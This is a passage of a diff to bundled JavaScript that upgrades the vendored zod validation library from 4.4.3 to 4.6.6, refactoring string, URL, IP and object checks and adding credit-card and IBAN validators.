$constructor("$ZodCheckMinLength", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.minimum ?? Number.NEGATIVE_INFINITY; - if (def.minimum > curr) - inst2._zod.bag.minimum = def.minimum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units >= def.minimum && units < def.minimum * 2 ? codePointLength(input2) : units; if (length >= def.minimum) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); payload.issues.push({ origin, code: "too_small", minimum: def.minimum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -56775,22 +57110,14 @@ var $ZodCheckMinLength = /* @__PURE__ */ $constructor("$ZodCheckMinLength", (ins var $ZodCheckLengthEquals = /* @__PURE__ */ $constructor("$ZodCheckLengthEquals", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.minimum = def.length; - bag.maximum = def.length; - bag.length = def.length; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units >= def.length && units <= def.length * 2 ? codePointLength(input2) : units; if (length === def.length) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); const tooBig = length > def.length; payload.issues.push({ origin, @@ -56806,14 +57133,6 @@ var $ZodCheckLengthEquals = /* @__PURE__ */ $constructor("$ZodCheckLengthEquals" var $ZodCheckStringFormat = /* @__PURE__ */ $constructor("$ZodCheckStringFormat", (inst, def) => { var _a3, _b; $ZodCheck.init(inst, def); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - if (def.pattern) { - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(def.pattern); - } - }); if (def.pattern) (_a3 = inst._zod).check ?? (_a3.check = (payload) => { def.pattern.lastIndex = 0; @@ -56861,13 +57180,8 @@ var $ZodCheckUpperCase = /* @__PURE__ */ $constructor("$ZodCheckUpperCase", (ins var $ZodCheckIncludes = /* @__PURE__ */ $constructor("$ZodCheckIncludes", (inst, def) => { $ZodCheck.init(inst, def); const escapedRegex = escapeRegex(def.includes); - const pattern = new RegExp(typeof def.position === "number" ? `^.{${def.position}}${escapedRegex}` : escapedRegex); + const pattern = new RegExp(typeof def.position === "number" ? `^.{${def.position},}${escapedRegex}` : escapedRegex); def.pattern = pattern; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.includes(def.includes, def.position)) return; @@ -56886,11 +57200,6 @@ var $ZodCheckStartsWith = /* @__PURE__ */ $constructor("$ZodCheckStartsWith", (i $ZodCheck.init(inst, def); const pattern = new RegExp(`^${escapeRegex(def.prefix)}.*`); def.pattern ?? (def.pattern = pattern); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.startsWith(def.prefix)) return; @@ -56909,11 +57218,6 @@ var $ZodCheckEndsWith = /* @__PURE__ */ $constructor("$ZodCheckEndsWith", (inst, $ZodCheck.init(inst, def); const pattern = new RegExp(`.*${escapeRegex(def.suffix)}$`); def.pattern ?? (def.pattern = pattern); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.endsWith(def.suffix)) return; @@ -56947,12 +57251,37 @@ var $ZodCheckProperty = /* @__PURE__ */ $constructor("$ZodCheckProperty", (inst, return; }; }); +var $ZodCheckProperties = /* @__PURE__ */ $constructor("$ZodCheckProperties", (inst, def) => { + $ZodCheck.init(inst, def); + hide(inst, Symbol.iterator, function* () { + yield inst; + }); + let entries; + inst._zod.check = (payload) => { + if (payload.value == null) { + payload.issues.push({ expected: "object", code: "invalid_type", input: payload.value, inst }); + return void 0; + } + entries ?? (entries = Reflect.ownKeys(def.shape).map((key) => [key, def.shape[key]])); + const input2 = payload.value; + let proms; + for (const [key, schema] of entries) { + const result = schema._zod.run({ value: input2[key], issues: [] }, {}); + if (result instanceof Promise) { + proms ?? (proms = []); + proms.push(result.then((result2) => handleCheckPropertyResult(result2, payload, key))); + } else { + handleCheckPropertyResult(result, payload, key); + } + } + if (proms) + return Promise.all(proms).then(() => void 0); + return void 0; + }; +}); var $ZodCheckMimeType = /* @__PURE__ */ $constructor("$ZodCheckMimeType", (inst, def) => { $ZodCheck.init(inst, def); const mimeSet = new Set(def.mime); - inst._zod.onattach.push((inst2) => { - inst2._zod.bag.mime = def.mime; - }); inst._zod.check = (payload) => { if (mimeSet.has(payload.value.type)) return; @@ -56972,18 +57301,22 @@ var $ZodCheckOverwrite = /* @__PURE__ */ $constructor("$ZodCheckOverwrite", (ins }; }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/doc.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/doc.js var Doc = class { - constructor(args = []) { + constructor(args = [], closed = {}) { this.content = []; this.indent = 0; - if (this) - this.args = args; + this.args = args; + this.closed = closed; } + // the compiler catches a child's throw and keeps writing into this doc, so the indent has to unwind with it indented(fn) { this.indent += 1; - fn(this); - this.indent -= 1; + try { + fn(this); + } finally { + this.indent -= 1; + } } write(arg) { if (typeof arg === "function") { @@ -57001,31 +57334,30 @@ var Doc = class { } compile() { const F = Function; - const args = this?.args; const content = this?.content ?? [``]; - const lines = [...content.map((x) => ` ${x}`)]; - return new F(...args, lines.join("\n")); + const factory = new F(...Object.keys(this.closed), `return function (${this.args.join(", ")}) { +${content.join("\n")} +};`); + return factory(...Object.values(this.closed)); } }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/versions.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/versions.js var version = { major: 4, - minor: 4, - patch: 3 + minor: 6, + patch: 6 }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/schemas.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/schemas.js var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { var _a3; inst ?? (inst = {}); inst._zod.def = def; inst._zod.bag = inst._zod.bag || {}; inst._zod.version = version; - const checks = [...inst._zod.def.checks ?? []]; - if (inst._zod.traits.has("$ZodCheck")) { - checks.unshift(inst); - } + const defChecks = inst._zod.def.checks; + const checks = inst._zod.traits.has("$ZodCheck") ? [inst, ...defChecks ?? []] : defChecks?.length ? [...defChecks] : []; for (const ch of checks) { for (const fn of ch._zod.onattach) { fn(inst); @@ -57038,6 +57370,8 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { }); } else { const runChecks = (payload, checks2, ctx) => { + if (payload.memo) + return payload; let isAborted = aborted(payload); let asyncResult; for (const ch of checks2) { @@ -57061,6 +57395,7 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { const nextLen = payload.issues.length; if (nextLen === currLen) return; + attachSchema(payload.issues, currLen, inst); if (!isAborted) isAborted = aborted(payload, currLen); }); @@ -57068,6 +57403,7 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { const nextLen = payload.issues.length; if (nextLen === currLen) continue; + attachSchema(payload.issues, currLen, inst); if (!isAborted) isAborted = aborted(payload, currLen); } @@ -57114,22 +57450,39 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { return runChecks(result, checks, ctx); }; } - defineLazy(inst, "~standard", () => ({ +}, { + // Wrappers extend this by installing a richer factory over it; reading it eagerly would defeat the laziness. + get "~standard"() { + return hide(this, "~standard", standardProps(this)); + }, + set "~standard"(value) { + own(this, "~standard", value); + } +}); +var toStandardResult = (r, ctx) => r.issues.length ? { issues: r.issues.map((iss) => finalizeIssue(iss, ctx, config())) } : { value: r.value }; +async function validateAsync2(inst, value) { + const ctx = { async: true }; + return toStandardResult(await inst._zod.run({ value, issues: [] }, ctx), ctx); +} +function standardProps(inst) { + return { validate: (value) => { + const ctx = { async: false }; try { - const r = safeParse(inst, value); - return r.success ? { value: r.data } : { issues: r.error?.issues }; + const r = inst._zod.run({ value, issues: [] }, ctx); + if (!(r instanceof Promise)) + return toStandardResult(r, ctx); } catch (_) { - return safeParseAsync(inst, value).then((r) => r.success ? { value: r.data } : { issues: r.error?.issues }); } + return validateAsync2(inst, value); }, vendor: "zod", version: 1 - })); -}); + }; +} var $ZodString = /* @__PURE__ */ $constructor("$ZodString", (inst, def) => { $ZodType.init(inst, def); - inst._zod.pattern = [...inst?._zod.bag?.patterns ?? []].pop() ?? string(inst._zod.bag); + inst._zod.pattern = def.pattern ?? anyString; inst._zod.parse = (payload, _) => { if (def.coerce) try { @@ -57179,58 +57532,105 @@ var $ZodEmail = /* @__PURE__ */ $constructor("$ZodEmail", (inst, def) => { def.pattern ?? (def.pattern = email); $ZodStringFormat.init(inst, def); }); +var URL_BAD_FORMAT = 1; +var URL_UNPARSEABLE = 2; +function canParseURL(input2) { + try { + if (typeof URL !== "undefined" && typeof URL.canParse === "function") + return URL.canParse(input2); + new URL(input2); + return true; + } catch { + return false; + } +} +function validateURL(trimmed, def) { + if (!("normalize" in def) && !("hostname" in def) && !("protocol" in def)) { + return canParseURL(trimmed) || URL_UNPARSEABLE; + } + return parseURLObject(trimmed, def); +} +function parseURLObject(trimmed, def) { + if (!def.normalize && def.protocol?.source === httpProtocol.source && !/^https?:\/\//i.test(trimmed)) { + return URL_BAD_FORMAT; + } + try { + if (typeof URL !== "undefined") { + const URLStatic = URL; + if (typeof URLStatic.parse === "function") + return URLStatic.parse(trimmed) ?? URL_UNPARSEABLE; + } + return new URL(trimmed); + } catch { + return URL_UNPARSEABLE; + } +} +var asciiTabOrNewline = /[\t\n\r]/g; +function stripTabAndNewline(value) { + return value.replace(asciiTabOrNewline, ""); +} +function urlHostnameOk(url2, hostname3) { + hostname3.lastIndex = 0; + return hostname3.test(url2.hostname); +} +function urlProtocolOk(url2, protocol) { + protocol.lastIndex = 0; + return protocol.test(url2.protocol.endsWith(":") ? url2.protocol.slice(0, -1) : url2.protocol); +} var $ZodURL = /* @__PURE__ */ $constructor("$ZodURL", (inst, def) => { $ZodStringFormat.init(inst, def); inst._zod.check = (payload) => { try { const trimmed = payload.value.trim(); - if (!def.normalize && def.protocol?.source === httpProtocol.source) { - if (!/^https?:\/\//i.test(trimmed)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid URL format", - input: payload.value, - inst, - continue: !def.abort - }); - return; - } + const url2 = validateURL(trimmed, def); + if (url2 === URL_BAD_FORMAT) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid URL format", + input: payload.value, + inst, + continue: !def.abort + }); + return; } - const url2 = new URL(trimmed); - if (def.hostname) { - def.hostname.lastIndex = 0; - if (!def.hostname.test(url2.hostname)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid hostname", - pattern: def.hostname.source, - input: payload.value, - inst, - continue: !def.abort - }); - } + if (url2 === URL_UNPARSEABLE) { + payload.issues.push({ + code: "invalid_format", + format: "url", + input: payload.value, + inst, + continue: !def.abort + }); + return; } - if (def.protocol) { - def.protocol.lastIndex = 0; - if (!def.protocol.test(url2.protocol.endsWith(":") ? url2.protocol.slice(0, -1) : url2.protocol)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid protocol", - pattern: def.protocol.source, - input: payload.value, - inst, - continue: !def.abort - }); - } + if (url2 === true) { + payload.value = stripTabAndNewline(trimmed); + return; } - if (def.normalize) { - payload.value = url2.href; - } else { - payload.value = trimmed; + if (def.hostname && !urlHostnameOk(url2, def.hostname)) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid hostname", + pattern: def.hostname.source, + input: payload.value, + inst, + continue: !def.abort + }); + } + if (def.protocol && !urlProtocolOk(url2, def.protocol)) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid protocol", + pattern: def.protocol.source, + input: payload.value, + inst, + continue: !def.abort + }); } + payload.value = def.normalize ? url2.href : stripTabAndNewline(trimmed); return; } catch (_) { payload.issues.push({ @@ -57248,7 +57648,9 @@ var $ZodEmoji = /* @__PURE__ */ $constructor("$ZodEmoji", (inst, def) => { $ZodStringFormat.init(inst, def); }); var $ZodNanoID = /* @__PURE__ */ $constructor("$ZodNanoID", (inst, def) => { - def.pattern ?? (def.pattern = nanoid); + if (def.length !== void 0 && (!Number.isInteger(def.length) || def.length < 1)) + throw new Error(`Invalid nanoid length: ${def.length}`); + def.pattern ?? (def.pattern = def.length === void 0 ? nanoid : nanoidOfLength(def.length)); $ZodStringFormat.init(inst, def); }); var $ZodCUID = /* @__PURE__ */ $constructor("$ZodCUID", (inst, def) => { @@ -57290,16 +57692,18 @@ var $ZodISODuration = /* @__PURE__ */ $constructor("$ZodISODuration", (inst, def var $ZodIPv4 = /* @__PURE__ */ $constructor("$ZodIPv4", (inst, def) => { def.pattern ?? (def.pattern = ipv4); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `ipv4`; }); +var ipv6Alphabet = /^[0-9a-fA-F:.]+$/; +function isValidIPv6(value) { + if (!ipv6Alphabet.test(value)) + return false; + return canParseURL(`http://[${value}]`); +} var $ZodIPv6 = /* @__PURE__ */ $constructor("$ZodIPv6", (inst, def) => { def.pattern ?? (def.pattern = ipv6); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `ipv6`; inst._zod.check = (payload) => { - try { - new URL(`http://[${payload.value}]`); - } catch { + if (!isValidIPv6(payload.value)) { payload.issues.push({ code: "invalid_format", format: "ipv6", @@ -57313,30 +57717,30 @@ var $ZodIPv6 = /* @__PURE__ */ $constructor("$ZodIPv6", (inst, def) => { var $ZodMAC = /* @__PURE__ */ $constructor("$ZodMAC", (inst, def) => { def.pattern ?? (def.pattern = mac(def.delimiter)); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `mac`; }); var $ZodCIDRv4 = /* @__PURE__ */ $constructor("$ZodCIDRv4", (inst, def) => { def.pattern ?? (def.pattern = cidrv4); $ZodStringFormat.init(inst, def); }); +function isValidCIDRv6(value) { + const parts = value.split("/"); + if (parts.length !== 2) + return false; + const [address, prefix] = parts; + if (!prefix) + return false; + const prefixNum = Number(prefix); + if (`${prefixNum}` !== prefix) + return false; + if (prefixNum < 0 || prefixNum > 128) + return false; + return isValidIPv6(address); +} var $ZodCIDRv6 = /* @__PURE__ */ $constructor("$ZodCIDRv6", (inst, def) => { def.pattern ?? (def.pattern = cidrv6); $ZodStringFormat.init(inst, def); inst._zod.check = (payload) => { - const parts = payload.value.split("/"); - try { - if (parts.length !== 2) - throw new Error(); - const [address, prefix] = parts; - if (!prefix) - throw new Error(); - const prefixNum = Number(prefix); - if (`${prefixNum}` !== prefix) - throw new Error(); - if (prefixNum < 0 || prefixNum > 128) - throw new Error(); - new URL(`http://[${address}]`); - } catch { + if (!isValidCIDRv6(payload.value)) { payload.issues.push({ code: "invalid_format", format: "cidrv6", @@ -57361,10 +57765,10 @@ function isValidBase64(data) { return false; } } +var base64Charset = /^[0-9a-zA-Z+/]*={0,2}$/; var $ZodBase64 = /* @__PURE__ */ $constructor("$ZodBase64", (inst, def) => { - def.pattern ?? (def.pattern = base64); + def.pattern ?? (def.pattern = base64Charset); $ZodStringFormat.init(inst, def); - inst._zod.bag.contentEncoding = "base64"; inst._zod.check = (payload) => { if (isValidBase64(payload.value)) return; @@ -57377,17 +57781,17 @@ var $ZodBase64 = /* @__PURE__ */ $constructor("$ZodBase64", (inst, def) => { }); }; }); +var base64urlCharset = /^[A-Za-z0-9_-]*$/; function isValidBase64URL(data) { - if (!base64url.test(data)) + if (!base64urlCharset.test(data)) return false; const base643 = data.replace(/[-_]/g, (c) => c === "-" ? "+" : "/"); const padded = base643.padEnd(Math.ceil(base643.length / 4) * 4, "="); return isValidBase64(padded); } var $ZodBase64URL = /* @__PURE__ */ $constructor("$ZodBase64URL", (inst, def) => { - def.pattern ?? (def.pattern = base64url); + def.pattern ?? (def.pattern = base64urlCharset); $ZodStringFormat.init(inst, def); - inst._zod.bag.contentEncoding = "base64url"; inst._zod.check = (payload) => { if (isValidBase64URL(payload.value)) return; @@ -57404,6 +57808,71 @@ var $ZodE164 = /* @__PURE__ */ $constructor("$ZodE164", (inst, def) => { def.pattern ?? (def.pattern = e164); $ZodStringFormat.init(inst, def); }); +var CC_SANITIZE = /[- ]/g; +function isLuhnAlgo(digits) { + let length = digits.length; + let bit2 = 1; + let sum = 0; + while (length) { + const value = digits.charCodeAt(--length) - 48; + bit2 ^= 1; + sum += bit2 ? [0, 2, 4, 6, 8, 1, 3, 5, 7, 9][value] : value; + } + return sum % 10 === 0; +} +function isValidCreditCard(input2) { + if (!creditCard.test(input2)) + return false; + return isLuhnAlgo(input2.replace(CC_SANITIZE, "")); +} +var $ZodCreditCard = /* @__PURE__ */ $constructor("$ZodCreditCard", (inst, def) => { + def.pattern ?? (def.pattern = creditCard); + $ZodStringFormat.init(inst, def); + inst._zod.check = (payload) => { + if (isValidCreditCard(payload.value)) + return; + payload.issues.push({ + code: "invalid_format", + format: "credit_card", + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); +function isIso7064Mod97(iban3) { + let remainder = 0; + const len = iban3.length; + for (let i = 4; i < len; i++) { + const code = iban3.charCodeAt(i); + remainder = (code >= 65 ? remainder * 100 + (code - 55) : remainder * 10 + (code - 48)) % 97; + } + for (let i = 0; i < 4; i++) { + const code = iban3.charCodeAt(i); + remainder = (code >= 65 ? remainder * 100 + (code - 55) : remainder * 10 + (code - 48)) % 97; + } + return remainder === 1; +} +function isValidIBAN(input2) { + if (!iban.test(input2)) + return false; + return isIso7064Mod97(input2); +} +var $ZodIBAN = /* @__PURE__ */ $constructor("$ZodIBAN", (inst, def) => { + def.pattern ?? (def.pattern = iban); + $ZodStringFormat.init(inst, def); + inst._zod.check = (payload) => { + if (isValidIBAN(payload.value)) + return; + payload.issues.push({ + code: "invalid_format", + format: "iban", + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); function isValidJWT(token, algorithm = null) { try { const tokensParts = token.split("."); @@ -57454,22 +57923,22 @@ var $ZodCustomStringFormat = /* @__PURE__ */ $constructor("$ZodCustomStringForma }); var $ZodNumber = /* @__PURE__ */ $constructor("$ZodNumber", (inst, def) => { $ZodType.init(inst, def); - inst._zod.pattern = inst._zod.bag.pattern ?? number; + inst._zod.pattern = number; inst._zod.parse = (payload, _ctx) => { if (def.coerce) try { payload.value = Number(payload.value); } catch (_) { } - const input = payload.value; - if (typeof input === "number" && !Number.isNaN(input) && Number.isFinite(input)) { + const input2 = payload.value; + if (typeof input2 === "number" && !Number.isNaN(input2) && Number.isFinite(input2)) { return payload; } - const received = typeof input === "number" ? Number.isNaN(input) ? "NaN" : !Number.isFinite(input) ? "Infinity" : void 0 : void 0; + const received = typeof input2 === "number" ? Number.isNaN(input2) ? "NaN" : !Number.isFinite(input2) ? String(input2) : void 0 : void 0; payload.issues.push({ expected: "number", code: "invalid_type", - input, + input: input2, inst, ...received ? { received } : {} }); @@ -57489,13 +57958,13 @@ var $ZodBoolean = /* @__PURE__ */ $constructor("$ZodBoolean", (inst, def) => { payload.value = Boolean(payload.value); } catch (_) { } - const input = payload.value; - if (typeof input === "boolean") + const input2 = payload.value; + if (typeof input2 === "boolean") return payload; payload.issues.push({ expected: "boolean", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57528,13 +57997,13 @@ var $ZodBigIntFormat = /* @__PURE__ */ $constructor("$ZodBigIntFormat", (inst, d var $ZodSymbol = /* @__PURE__ */ $constructor("$ZodSymbol", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "symbol") + const input2 = payload.value; + if (typeof input2 === "symbol") return payload; payload.issues.push({ expected: "symbol", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57545,13 +58014,13 @@ var $ZodUndefined = /* @__PURE__ */ $constructor("$ZodUndefined", (inst, def) => inst._zod.pattern = _undefined; inst._zod.values = /* @__PURE__ */ new Set([void 0]); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "undefined") + const input2 = payload.value; + if (typeof input2 === "undefined") return payload; payload.issues.push({ expected: "undefined", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57562,13 +58031,13 @@ var $ZodNull = /* @__PURE__ */ $constructor("$ZodNull", (inst, def) => { inst._zod.pattern = _null; inst._zod.values = /* @__PURE__ */ new Set([null]); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (input === null) + const input2 = payload.value; + if (input2 === null) return payload; payload.issues.push({ expected: "null", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57597,13 +58066,13 @@ var $ZodNever = /* @__PURE__ */ $constructor("$ZodNever", (inst, def) => { var $ZodVoid = /* @__PURE__ */ $constructor("$ZodVoid", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "undefined") + const input2 = payload.value; + if (typeof input2 === "undefined") return payload; payload.issues.push({ expected: "void", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57618,21 +58087,46 @@ var $ZodDate = /* @__PURE__ */ $constructor("$ZodDate", (inst, def) => { } catch (_err) { } } - const input = payload.value; - const isDate = input instanceof Date; - const isValidDate = isDate && !Number.isNaN(input.getTime()); + const input2 = payload.value; + const isDate = input2 instanceof Date; + const isValidDate = isDate && !Number.isNaN(input2.getTime()); if (isValidDate) return payload; payload.issues.push({ expected: "date", code: "invalid_type", - input, + input: input2, ...isDate ? { received: "Invalid Date" } : {}, inst }); return payload; }; }); +function capSize(inst, size2) { + const caps = sizeCaps(inst._zod.def.checks); + if (!caps.length) + return; + const cap = Math.min(...caps.map((c) => c[0])); + const parse4 = inst._zod.parse; + inst._zod.parse = (payload, ctx) => { + const n = size2(payload.value); + if (n > cap && !ctx?.skipChecks && ctx?.direction !== "backward") { + for (const [max, ch] of sizeCaps(inst._zod.def.checks)) { + if (n > max && ch._zod.def.when(payload)) { + const start = payload.issues.length; + ch._zod.check(payload); + payload.issues[start].continue = false; + attachSchema(payload.issues, start, inst); + return payload; + } + } + } + return parse4(payload, ctx); + }; +} +var arraySize = (input2) => Array.isArray(input2) ? input2.length : -1; +var mapSize = (input2) => input2 instanceof Map ? input2.size : -1; +var setSize = (input2) => input2 instanceof Set ? input2.size : -1; function handleArrayResult(result, final, index2) { if (result.issues.length) { final.issues.push(...prefixIssues(index2, result.issues)); @@ -57641,21 +58135,24 @@ function handleArrayResult(result, final, index2) { } var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!Array.isArray(input)) { + const input2 = payload.value; + if (!Array.isArray(input2)) { payload.issues.push({ expected: "array", code: "invalid_type", - input, + input: input2, inst }); return payload; } - payload.value = Array(input.length); + payload.value = memo2 ? memo2.alloc(inst, payload, Array(input2.length), ctx) : Array(input2.length); const proms = []; - for (let i = 0; i < input.length; i++) { - const item = input[i]; + const abortEarly = ctx?.abortEarly; + for (let i = 0; i < input2.length; i++) { + const item = input2[i]; const result = def.element._zod.run({ value: item, issues: [] @@ -57664,6 +58161,8 @@ var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { proms.push(result.then((result2) => handleArrayResult(result2, payload, i))); } else { handleArrayResult(result, payload, i); + if (abortEarly && result.issues.length !== 0 && aborted(result)) + break; } } if (proms.length) { @@ -57671,16 +58170,21 @@ var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { } return payload; }; + capSize(inst, arraySize); }); -function handlePropertyResult(result, final, key, input, isOptionalIn, isOptionalOut) { - const isPresent = key in input; +function handlePropertyResult(result, final, key, input2, optin, optout) { + const isPresent = key in input2; + const isOptionalOut = optout === "optional"; + if (!isPresent && isOptionalOut && optin === "optional") { + return; + } if (result.issues.length) { - if (isOptionalIn && isOptionalOut && !isPresent) { + if (optin !== void 0 && isOptionalOut && !isPresent) { return; } final.issues.push(...prefixIssues(key, result.issues)); } - if (!isPresent && !isOptionalIn) { + if (!isPresent && optin === void 0) { if (!result.issues.length) { final.issues.push({ code: "invalid_type", @@ -57692,58 +58196,75 @@ function handlePropertyResult(result, final, key, input, isOptionalIn, isOptiona return; } if (result.value === void 0) { - if (isPresent) { + if (isPresent || optin === "defaulted" && !isOptionalOut) { final.value[key] = void 0; } } else { final.value[key] = result.value; } } +var NO_SYMBOL_KEYS = []; function normalizeDef(def) { const keys = Object.keys(def.shape); - for (const k of keys) { + const ownSymbols = Object.getOwnPropertySymbols(def.shape); + const symbolKeys = ownSymbols.length ? ownSymbols : NO_SYMBOL_KEYS; + const allKeys = symbolKeys.length ? [...keys, ...symbolKeys] : keys; + for (const k of allKeys) { if (!def.shape?.[k]?._zod?.traits?.has("$ZodType")) { - throw new Error(`Invalid element at key "${k}": expected a Zod schema`); + throw new Error(`Invalid element at key "${String(k)}": expected a Zod schema`); } } const okeys = optionalKeys(def.shape); return { ...def, - keys, + allKeys, + symbolKeys, + // string-only: handleCatchall matches it against `for...in`, which never yields a symbol keySet: new Set(keys), numKeys: keys.length, optionalKeys: new Set(okeys) }; } -function handleCatchall(proms, input, payload, ctx, def, inst) { +function handleCatchall(proms, input2, payload, ctx, def, inst, abortEarly) { const unrecognized = []; const keySet = def.keySet; const _catchall = def.catchall._zod; const t = _catchall.def.type; - const isOptionalIn = _catchall.optin === "optional"; - const isOptionalOut = _catchall.optout === "optional"; - for (const key in input) { - if (key === "__proto__") - continue; + const optin = _catchall.optin; + const optout = _catchall.optout; + let seen = 0; + for (const key in input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } if (keySet.has(key)) continue; + if (key === "__proto__") { + if (t === "never") + unrecognized.push(key); + continue; + } if (t === "never") { unrecognized.push(key); continue; } - const r = _catchall.run({ value: input[key], issues: [] }, ctx); + const r = _catchall.run({ value: input2[key], issues: [] }, ctx); if (r instanceof Promise) { - proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input, isOptionalIn, isOptionalOut))); + proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input2, optin, optout))); } else { - handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut); + handlePropertyResult(r, payload, key, input2, optin, optout); } } if (unrecognized.length) { payload.issues.push({ code: "unrecognized_keys", keys: unrecognized, - input, - inst + input: input2, + inst, + // Describes the shape of the input, not the validity of the parsed value, so it never aborts. The parse still fails; the schema's own checks just get to run first, and an enclosing intersection can reconcile the key against a sibling operand. + continue: true }); } if (!proms.length) @@ -57755,28 +58276,31 @@ function handleCatchall(proms, input, payload, ctx, def, inst) { var $ZodObject = /* @__PURE__ */ $constructor("$ZodObject", (inst, def) => { $ZodType.init(inst, def); const desc2 = Object.getOwnPropertyDescriptor(def, "shape"); - if (!desc2?.get) { - const sh = def.shape; - Object.defineProperty(def, "shape", { - get: () => { - const newSh = { ...sh }; - Object.defineProperty(def, "shape", { - value: newSh - }); - return newSh; - } - }); + const sh = desc2?.get ? desc2.get.raw : def.shape ?? {}; + if (sh) { + const get = () => { + const newSh = { ...sh }; + Object.defineProperty(def, "shape", { value: newSh }); + get.raw = newSh; + return newSh; + }; + get.raw = sh; + Object.defineProperty(def, "shape", { get }); } const _normalized = cached(() => normalizeDef(def)); - defineLazy(inst._zod, "propValues", () => { - const shape = def.shape; + defineLazyInternal(inst, "propValues", (zod) => { + const shape = zod.def.shape; const propValues = {}; for (const key in shape) { const field = shape[key]._zod; if (field.values) { - propValues[key] ?? (propValues[key] = /* @__PURE__ */ new Set()); + if (!Object.prototype.hasOwnProperty.call(propValues, key)) { + assignProp(propValues, key, /* @__PURE__ */ new Set()); + } for (const v of field.values) propValues[key].add(v); + if (field.optin !== void 0) + propValues[key].add(void 0); } } return propValues; @@ -57784,91 +58308,107 @@ var $ZodObject = /* @__PURE__ */ $constructor("$ZodObject", (inst, def) => { const isObject3 = isObject2; const catchall = def.catchall; let value; + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { value ?? (value = _normalized.value); - const input = payload.value; - if (!isObject3(input)) { + const input2 = payload.value; + if (!isObject3(input2)) { payload.issues.push({ expected: "object", code: "invalid_type", - input, + input: input2, inst }); return payload; } - payload.value = {}; + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; const proms = []; const shape = value.shape; - for (const key of value.keys) { + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const key of value.allKeys) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } + if (key === "__proto__") + continue; const el = shape[key]; - const isOptionalIn = el._zod.optin === "optional"; - const isOptionalOut = el._zod.optout === "optional"; - const r = el._zod.run({ value: input[key], issues: [] 